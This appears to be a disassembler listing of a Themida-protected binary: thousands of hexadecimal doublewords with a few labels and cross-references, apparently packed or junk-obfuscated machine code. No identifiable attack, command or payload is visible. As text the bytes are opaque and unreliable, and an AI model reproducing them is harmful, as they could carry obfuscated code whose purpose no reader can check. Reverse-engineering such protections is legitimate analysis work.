8BE7C9h, 0EE9h, 70EBC100h, 7EDD71F0h, 0B1E3C9Dh, 89A63E6Ch dd 58042444h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 3CC35343h, 0B08035D2h, 8D89FCC6h, 64E0411h, 0BD995FFh dd 8589064Eh, 651B12Fh, 3BE6660h, 61F48A82h, 0E9EBC380h dd 204h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 31C35242h, 0EE807DFh, 6C000000h, 36CEA574h, 685B0103h dd 44F340BFh, 0D7816621h, 8B5B802Dh, 51B12785h, 0D88B6606h dd 1800C7h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 7BD3E0C3h, 406561FEh, 5E919h, 64CB0000h dd 8B99BC4Dh, 51B12BB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 0ECF67B0Bh, 38971045h dd 9D230B66h, 64E10E5h, 300D858Bh, 810F064Eh, 8, 51BD8B52h dd 5B064E0Fh, 6A0689h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0FB25ADC3h, 29858BFCh, 6A064E1Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0DECAC357h, 908B1336h, 4689F8ACh, 53006A04h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 0A2C674F7h, 0BD8B14BAh, 64E2F61h, 0D6D78166h, 0E95796FEh dd 6, 821C9553h, 505F4834h, 0C88D4BBBh, 6A9631h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 265515C3h, 1D8D2927h, 0FF064E27h, 51B127B5h, 0DB816606h dd 9368214Ch, 0BB568FFCh, 4EBDBB27h, 6C243481h, 335690FFh dd 4E08919Dh, 2F858D06h, 6A0651B1h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0E93AC351h dd 12h, 0AF79EE2Dh, 0B9301B00h, 258F58E1h, 0B861705h, 0B79045F4h dd 9E9507Dh, 20000000h, 7BC34202h, 1067E60Eh, 40DF8190h dd 0FF6300EFh, 4E0BD995h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 42B3A5B5h dd 71BD8961h, 0C7064E0Ah, 4E065D85h, 306h, 0D9B70F00h dd 5918D29h, 0BD83064Eh, 651B12Fh, 46840F00h, 0E9000000h dd 13h, 0B6B44FF0h dd 0DA5B6BA8h, 1AFAE887h, 37D3DCBAh, 8B8CCAE8h, 42E9D9h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 8A1FC4C3h, 78CE0FB2h, 0B363F27Eh, 0C3050BCh dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 0FD9B70Fh dd 0BD83FFB7h, 64E065Dh, 6E850F03h, 6A000004h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 80BFC355h, 9FFFBBDAh, 0BD837A55h, 651B12Fh, 3E840F00h dd 0E9000004h, 11h, 52B9F323h, 0A5464EA2h, 0BC1B3CC8h dd 690AADAFh, 2FB5FFC4h, 6A0651B1h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 6ED8C353h dd 28F1BD89h, 95FF064Eh, 64E0375h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 90C35343h, 9EA1EEC5h, 0E9BA49A4h dd 296D9D8Bh, 0B58B064Eh, 651B123h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 6AC35747h, 1A98357Ah, 0F5FECD0h dd 118Dh, 0CE900h, 79450000h, 97786D54h, 19B5A3D0h, 6C7A17Eh dd 10001h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 4C35646h, 604532C6h, 29BD89h, 8B60064Eh, 4E1331B5h dd 61853106h, 61064E2Fh, 49950961h, 96064E11h, 11E9h, 0D55AC600h dd 0B5B6AB06h, 0CE8F95Eh, 0F0CAD46Eh, 0BF50974Bh, 5B2A3438h dd 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 41F8B500h, 1FADA26Bh, 0B5FFCE3Dh, 651B12Fh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0B1C35747h dd 0EDFC08AFh, 0A57A7A61h, 195FFB4h, 6A064E29h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0E4DAC350h, 8BEAD92Ch, 51B123B5h, 8BFB8B06h, 4E0F3585h dd 0D88B6606h, 0C48689h, 0BB660000h, 958BEFA5h, 64E2B05h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0C0C35040h dd 800F6019h, 2, 8B666160h, 0C28361C8h, 52006A04h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0B36F0A03h, 0D0BB60h, 0F98B461Bh, 20508961h, 231BD8Bh dd 858D064Eh, 651C53Dh, 89F98B66h, 0B886h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 781477A0h, 0D516CD4h, 9D8B1F4Eh, 64E2C71h, 5880Fh, 81660000h dd 6A0BF0D3h, 0B70F6000h, 7D8529C0h, 61064E30h, 0B12FB5FFh dd 6A0651h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0F2D6DAC3h, 0EA53200Bh, 0FFF9BF0Fh, 4E1A0595h dd 89F88A06h, 4E05399Dh, 10E85006h, 3C000000h, 0A456A54Ch dd 0A9147601h, 860FFA17h, 605455B3h, 5250CEB2h, 585A310Fh dd 34895F61h, 850F6024h, 4, 1140B966h, 0FF61A6B4h, 51B12FB5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 0FFD98AC0h, 4E05A195h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0BD832819h, 64E1509h, 10840F00h, 9000000h, 4E2AD5B5h dd 34895006h, 45958924h, 0FF064E31h, 51B12FB5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0A20BA410h, 4EEB808Dh, 0FFD8BF0Fh, 4E25D995h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0FCAFDF6h, 0B43DDDD6h, 2FB5FF2Ch, 6A0651B1h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 6EEC355h, 90AB183Eh, 13E98Ch, 5B310000h, 944578h, 0C6B30956h dd 5B14D8A7h, 247E523Dh, 0D95FF7Eh, 0F064E25h, 0BD83D8B7h dd 64E1531h, 61840F02h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 4F5EC356h dd 0CCFA82B2h, 0BF161755h, 0CF8B6660h, 858B61F5h, 64E2925h dd 2014BB66h, 6A0000C6h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 0F54DC351h, 0ECCDFD0Bh dd 9589CA4Ah, 64E1091h, 121D85C7h, 64Eh, 8B660000h, 0F35FE9D8h dd 6AFFFFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 7D6CA0C3h, 13B22666h, 0BD29E247h, 64E15ADh dd 0BD03C18Bh, 64E2D29h, 1061858Dh, 8B66064Eh, 0BB6690D9h dd 8B50551Dh, 816690DEh, 56CDD6C3h, 8759D0Bh, 6A5B064Eh dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 88BF6076h, 0CD90123Fh, 0F98BDF8Bh, 7E8006Ah dd 64000000h, 11AD14EAh, 8B66619Bh, 858D5BD8h, 6524FFEh dd 8D0Fh, 0C0830000h, 4860F05h, 66000000h, 50EA1CBFh, 8B240489h dd 6A006AFAh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0B57CC352h, 10158D29h, 6A064Eh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 44C35545h dd 0B0C1DC10h, 0D80A5291h, 88595FFh, 6A064Eh, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 0F5E5EDC3h dd 0BB66BC33h, 816687D7h, 8DB61AD7h, 51AF498Dh, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0BD8B605Ch, 64E15A1h, 0EE8h, 0C5AA3C00h, 0CF24D5B0h dd 7EA1CE56h, 51669F79h, 56615E5Fh, 5E8h, 689A5300h, 0E78136C4h dd 28D82FBCh, 0D1FF5F5Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0D0C35646h, 0CE8E5h, 0AA360000h, 58235347h dd 0BDF567F1h, 0B3BBC9EEh, 5F7B0F93h, 2649BD83h, 0F01064Eh dd 3385h, 859D0100h, 6A064E13h, 8272BB02h, 6090114Eh, 8B665250h dd 8B310FD9h, 61585AFBh, 0E3BB6650h, 0BD8B9003h, 64E169Dh dd 1A0595FFh, 0BD29064Eh, 64E0ED1h, 0E53E9h, 0E800h, 815D0000h dd 525008EDh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 0F98ACF83h, 8C4ABB66h, 92A9858Dh dd 6A0651h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 13F7AEC3h, 0EE9h, 2FEFDF00h, 5C1381E9h, 5809CDC8h dd 9004DD27h, 4258BF66h, 0F525050h, 0F525031h, 0F88B6631h dd 585A585Ah, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 64462994h, 35FFh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0AD730DC3h, 53DFBF0Fh, 5D958950h, 5B064E10h, 2589645Bh dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0D0C35646h dd 0BD3160A3h, 64E13A9h, 19D5958Bh, 0FF61064Eh, 4E08D585h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 0ED8D896Ch, 6A064E07h, 0B5FFF9FFh, 64E1655h dd 1B0D95FFh, 0F7E9064Eh, 8B000000h, 4E2AD1BDh, 8A00B006h dd 6670E6FDh, 8BF28CBFh, 4E09859Dh, 0E971E406h, 5, 0C47EF2BBh dd 3DB5897Ch, 3C064E0Fh, 0C7830F61h, 80000000h, 0B60F3CF7h dd 0BB66F9C8h, 6BA1CC8h, 0F000000h, 0C18BFBB7h, 0E8C1DF8Bh dd 66F98B04h, 850FE2F7h, 4, 0DD99BB66h, 8BF5C82Bh, 0E9D1h dd 858B0000h, 64E30B1h, 317D8589h, 0C083064Eh, 0DF8B6007h dd 13E8h, 1389A400h, 75185884h, 0A1C89027h, 0F4209670h dd 1F49C398h, 25099589h, 6159064Eh, 3B00C083h, 0E830FD0h dd 80000000h, 4FE942E3h, 2B000000h, 4E10C59Dh, 0AD8D8B06h dd 80064E07h, 896089C7h, 4E0BD59Dh, 0A8BA6006h, 311026F6h dd 4E0A1DBDh, 83616106h, 840F01E1h, 22h, 8309D780h, 4E07ADA5h dd 810FFE06h, 4, 0D81BF66h, 30B19589h, 0B70F064Eh, 0E9FBh dd 0B58D0000h, 651D280h, 0BE9h, 0EED2300h, 0D5333C20h dd 0A13F6DE5h, 8D0F006Ah, 2, 95FF6DB7h, 64E1A59h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0E5C35343h, 14E883h dd 25CB0000h, 0EA8CB289h, 0E52EA72Ch, 17644588h, 6B3423CFh dd 8B667977h, 0DBB95BDFh, 6A00000Eh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 487AC355h dd 13E8h, 8B9F7400h, 0A42CA1ACh, 45100337h, 506FD1BCh dd 3430E078h, 2F7D9D8Bh, 835F064Eh, 8B66FCE1h, 6AFCDEh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0BF357BC3h, 0D3EA1D77h, 870F53h, 5F000000h, 0B8D98Ah dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 3A4C353h, 87DE3D2Fh, 7E9ACh, 0FA250000h dd 25E81835h, 6AD22B08h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 0FB34C351h, 373BB1Fh dd 9D8B20ECh, 64E043Dh, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 40B8BB66h, 266BA5BBh, 880D4Eh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 23ADFEC3h dd 8D41C2D2h, 22BB66EFh, 5958BDCh, 6A064E2Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 7314C355h, 3D758E8Ah, 20BB665Ch, 79BD89B6h, 8B064E2Ah dd 4E2B658Dh, 8DC38006h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 6A5818h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 176140C3h, 29D88B42h, 4E207DB5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 860E5B6Fh, 559D8B8Ch, 83064E0Dh, 4E30FDBDh dd 840F0006h, 43h, 3DBD8953h, 5F064E27h, 0B8h, 3CEB8100h dd 0F250D6Fh, 168Eh, 0EE800h, 0BB1B0000h, 21556E8Fh, 0BA6E5AA9h dd 594F4BC8h, 8D5F6160h, 4E4E108Dh, 0EAF38106h, 0FF66D37Eh dd 69BD8BE1h, 83064E0Dh, 4E065DBDh, 840F0006h, 462h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 58C35747h, 11B19D01h dd 11E9064Eh, 7B000000h, 748FA1A1h, 0C1C76A5Eh, 92938169h dd 0DD5ABECBh, 65DBD83h, 0F01064Eh, 43884h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 55BA6D6Eh, 0D3FCE655h, 65DBD83h, 0F03064Eh, 3D286h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 0B8F71D32h, 0FC8513B8h, 57006A60h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0A0849B6Eh, 2C3D9D8Bh, 0BD0B064Eh, 64E2C55h, 8BD98C66h dd 4E2AB99Dh, 4E18006h, 0C90ADA8Ah, 10C840Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 23ABB9C3h, 858BD870h, 64E1B29h, 20718D01h, 8533064Eh dd 64E288Dh, 31F8BF0Fh, 4E060985h, 0DF8B9006h, 0FE8B6650h dd 12E990h, 0E3060000h, 262F46E8h, 2A8FB779h, 0CD715E7h dd 46B1104Fh, 890F006Ah, 6, 11CDBD8Bh, 3A68064Eh, 603C2426h dd 9E8h, 0C6E79500h, 73C3FA63h, 8B66308Bh, 8F0F5AD8h, 2 dd 8161F18Ah, 25C52434h, 95093C3Bh, 64E2255h, 0BD995FFh dd 89F8064Eh, 4E25BD95h, 2F858906h, 6A0651B1h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 4E94C350h, 0B1639380h, 7EF057B7h, 25D5BD89h, 820F064Eh dd 6, 2A759D8Bh, 0C6E9064Eh, 6A000001h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 6BACC353h dd 8157F52Fh, 366136F7h, 858B5B28h, 651B127h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0D2C35141h, 0C79C91h dd 18h, 0F059D8Bh, 0B58B064Eh, 651B12Bh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 18h, 83C35242h, 94B31768h dd 300D858Bh, 66F5064Eh, 0A3CBC781h, 8D890689h, 64E20B5h dd 4158D01h, 858B064Eh, 64E1B29h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 1C35343h, 8F9BC7D4h, 4689094Eh dd 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 7E8878A8h, 0BD01CE82h, 64E2935h, 82E0BB66h dd 0E8525050h, 0Dh, 0BE5085EDh, 0E362371h, 7DF4033Bh, 0F5250BEh dd 5F585A31h, 12E9310Fh, 0F4000000h, 3DA8FE7h, 0B7AB8D45h dd 9BC47B21h, 4782A1EAh, 89585A3Bh, 9D8B2434h, 64E1FCDh dd 0B127B5FFh, 6A0651h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 7EE82BC3h, 0C38169E2h, 1CBDEC1Fh dd 181B9F68h, 0D68B6050h, 0B0982CBAh, 3481612Bh, 7186024h dd 56006A50h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 8A82F747h, 2F858DDCh, 0B30651B1h, 7E85043h dd 6D000000h, 0DF537B6h, 50514CAAh, 5A310F52h, 895B5F58h dd 0AEBF2404h, 0FF5FBED0h, 4E0BD995h, 28C0F06h, 0B7000000h dd 22BB6633h, 6A6138h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 66D120C3h, 0C70AE8BFh, 4E065D85h dd 306h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 0A4676AFEh, 0C7B50980h, 0ED958992h dd 0B7064E21h, 2FBD83FEh, 651B1h, 5D840Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 7CA423C3h, 0E9C2B63Eh, 52h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 0AAC35141h, 0BE04A351h, 1272845Dh dd 13E59D01h dd 8E9064Eh, 0A2000000h, 583B8D55h, 50BFF599h, 110C30h dd 0C1011144h, 443010E8h db 11h, 2 word_580046 dw 4C00h ; DATA XREF: ___:off_4328B4o ; ___:004328BCo ... dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h dword_580068 dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h ; DATA XREF: Themida_:0055C134o dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 9EEA16C3h dd 9BFA83Fh, 6A73C021h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 83CEC357h, 4E065DBDh dd 850F0306h, 4B1h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 0B0C35646h, 0BD8BE938h, 64E1FB1h, 0B12FBD83h dd 0F000651h, 48084h, 0DBBF0F00h, 2FB5FFFCh, 0E90651B1h dd 0Ah, 0A34FB501h, 50342A6Ah, 95FFACB7h, 64E0375h, 2BDBD8Bh dd 0B58B064Eh, 651B123h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 59C35343h, 5E8h, 517E4900h, 9D8BFB2Fh dd 64E0875h, 106C75Bh, 6A000100h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 666FC350h dd 11F4D381h, 5FC78166h, 0BB6650DCh, 34891FBBh, 14E924h dd 0D8CC0000h, 24C0D843h, 8D815B08h, 720B54AFh, 71C5F57Fh dd 0B5FF9698h, 651B12Fh, 4810Fh, 0BB660000h, 95FF0F2Bh dd 64E2901h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 79C35343h, 1CCFCABDh, 0E8FBB70Fh, 11h, 0F06F71B2h dd 6B92F366h, 715FE925h, 0E401C212h, 0C0EEBF0Dh, 8B5F76F2h dd 51B123B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 8C105486h, 3171C8C0h, 4E12159Dh dd 35858B06h, 6A064E0Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 5B81C353h, 0BD8B8EE8h dd 64E2929h, 0C48689h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 0BB74DAC3h, 8D897636h dd 64E13EDh, 2B05958Bh, 6A064Eh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 380F4CC3h, 337C87AEh dd 0C2837C95h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 2DE7B292h, 205089A0h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0A4C35747h dd 0F2F669FCh, 8B57C56Bh, 4E05F5BDh, 999D3306h, 8D064E07h dd 51C53D85h, 799D8B06h, 89064E2Ah, 4E0A19B5h, 0B8868906h dd 0BF000000h, 309F225Ch, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 62BCA0C3h, 0B5FFEB60h dd 651B12Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 65C35646h, 31660EFBh, 155DB589h, 8501064Eh, 64E1825h dd 1A0595FFh, 0DF8B064Eh, 0CE996h, 698C0000h, 6C3B71A6h dd 44C1284Eh, 0E850B84Fh, 0Ah, 5263DE41h, 28448C54h, 5250A3E7h dd 2719BB66h, 6160310Fh, 965B585Ah, 0FF18CF80h, 51B12FB5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 6AECED29h, 93D43DBDh, 0BB669177h, 95FF3327h dd 64E05A1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 0D8C35545h, 292C94C1h, 840FCF6Eh, 6, 0C319D8Bh dd 0BD83064Eh, 64E1509h, 54840F00h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0FD1AC356h, 50DE8A96h, 38BF6657h, 6A965FE6h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 8DC5C351h, 65DAE12Bh, 0BF0FBBCBh, 0E98589FEh, 0FF064E0Ch dd 51B12FB5h, 359D8B06h, 0FF064E17h, 4E25D995h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 65951262h, 8BF98A7Ch, 4E087D9Dh, 2FB5FF06h, 6A0651B1h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0CD6BC353h, 0FF06F31Ah, 4E250D95h, 55BF6606h dd 31BD8383h, 2064E15h, 6E840Fh, 820F0000h, 6, 2BA9BD23h dd 858B064Eh, 64E2925h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 38C35545h, 0E534C536h, 0C63E4396h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0DEB198C3h, 36200853h, 0DE9787Dh, 0DC000000h, 0FEAFB719h dd 1664BE4Dh, 3971145Eh, 121D85C7h, 64Eh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 28011EC3h, 0B81874BBh, 0F2EDE90Eh, 8BF9FFFFh, 12E9C1h dd 4D1F0000h, 72580E55h, 0AECD379Eh, 6E7F85C2h, 4467CA45h dd 1061858Dh, 6A064Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 0B86033C3h, 7C8C1E93h, 0DA8B5061h dd 6A240489h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 178BC352h, 4ABF12FCh, 0A58D89BBh dd 89064E13h, 4E316595h, 6A006A06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0EB6FC357h dd 8A81CE76h, 0BB831CE4h, 528A775h, 153DBD29h, 6A064Eh dd 2119B509h, 858D064Eh, 652604Ah, 83FBB70Fh, 0FEBB05C0h dd 0F097C04h, 285h, 90AFB300h, 0F525050h, 87h, 0F310F00h dd 89h, 5F585A00h, 52506050h, 0CE8h, 0D5F81900h, 0F15CEA5Ch dd 474AC343h, 310F5F33h, 0CF9EB866h, 5250585Ah, 310F6160h dd 0BD5CB866h, 9061585Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 1BC35343h, 0BFB72977h, 66968BD9h, 0AE1DC781h dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 95756C3h, 0E68593A2h, 14E8h, 2598F600h, 0D3C151F8h dd 6EBE774Ah, 2B6CC696h, 0C1BF6FC6h, 69BD8BB1h, 5F064E08h dd 0DE8A006Ah, 88595FFh, 9589064Eh, 64E11A1h, 0AF498D8Dh dd 0F98B0651h, 8166D1FFh, 0F79DDCBh, 0C86h, 6890F00h, 29000000h dd 4E0B55BDh, 49BD8306h, 1064E26h, 5A850Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 41AECAC3h, 85311241h, 64E0D69h, 6A026Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 5B3A69C3h dd 0BF5012EBh, 55A75AD6h, 0F240489h, 95FFDAB7h, 64E1A05h dd 0CFCE9h, 0E800h, 815D0000h, 526054EDh, 5BD8B06h, 8D064E09h dd 5192A985h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 0A683E6A2h, 0E83E3B3Bh, 0Bh, 720C0CC6h dd 3A99378Ah, 8B3C93EBh, 4E04059Dh, 830F5B06h, 20h, 14E960h dd 0BF920000h, 0B25049CAh, 0D6CDEFADh, 0F1B06103h, 9CC92F4Fh dd 54BBFCA1h, 617AE0C6h, 0D2BE6050h, 0E9156E19h, 6, 3E71D3B6h dd 89616F51h, 8B0F2404h, 0Ah, 5E9h, 9425FC00h, 0FF644220h dd 35h, 3FBF6600h, 258964D3h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0CBC35747h dd 14A43B69h, 42BF6637h, 0D585FF86h, 0BF064E08h, 27705F17h dd 4BBFF6Ah, 0FF0D13D6h, 4E19D1B5h, 37C38006h, 1B0D95FFh dd 0FAE9064Eh, 89000000h, 4E24C585h, 0E600B006h, 15BB6670h dd 0E971E417h, 0Dh, 562B9CCBh, 5F3EB7D2h, 0B5B9AFCh, 0F613C6Bh dd 0D083h, 0B60FF800h, 0B1BD8BC8h, 0BA064E07h, 6, 89C18BF9h dd 4E06959Dh, 4E8C106h, 6E9h, 72D06000h, 8938F886h, 4E17319Dh dd 0E2F76606h, 0C82BECB3h, 30758D89h, 0D18B064Eh, 14E9h dd 19E7400h, 9C788CA8h, 71F74C06h, 790F133Ah, 0E6D1555Eh dd 2E930h, 33B30000h, 1789858Bh, 6653064Eh, 0AD31EB81h dd 7C0835Fh, 33219589h, 0C083064Eh, 0FD03B00h, 1383h, 0E9FE8B00h dd 4Dh, 6860Fh, 85890000h, 64E2CBDh, 30298D8Bh, 0F98A064Eh dd 0F01E183h, 3084h, 38B75200h, 29A5835Bh, 0FE064E30h dd 26FD9D03h, 9589064Eh, 64E1789h, 0FE9h, 61FF2700h, 6429B214h dd 0DC8BEFFBh, 2A963A72h, 0E9h, 0FEB58D00h, 6A0651E2h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 5A18C352h, 5E9CE77h, 4C000000h, 39CC9EF9h dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 0E1A436C3h, 5A081D5Dh, 6687BA07h, 29A7FBBFh dd 4E0769BDh, 5995FF06h, 6A064E1Ah, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 1FAEC355h dd 0F60B734h, 0F98BFFB7h, 0B658529h, 45B9064Eh, 0F500000Bh dd 0FFCE183h, 6AFCD8B7h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 4D9CC352h, 3A683004h dd 0B8FA8Ah, 8B000000h, 4E0FED9Dh, 0E8816006h, 628E7A74h dd 30CD9D8Bh, 0BA61064Eh, 0 dd 0EE9h, 3C22D100h, 0A8A21CB5h, 0B6730097h, 0AD7783EDh dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0D41AC357h dd 827802C6h, 0E88174F8h, 0Eh, 4273CC18h, 0BC84678Ah, 0B6F6F5E6h dd 9D09440Ah, 64E1425h, 0D9BD8B5Bh, 0D064E2Bh, 88h, 0E1EBF66h dd 2B05958Bh, 9E9064Eh, 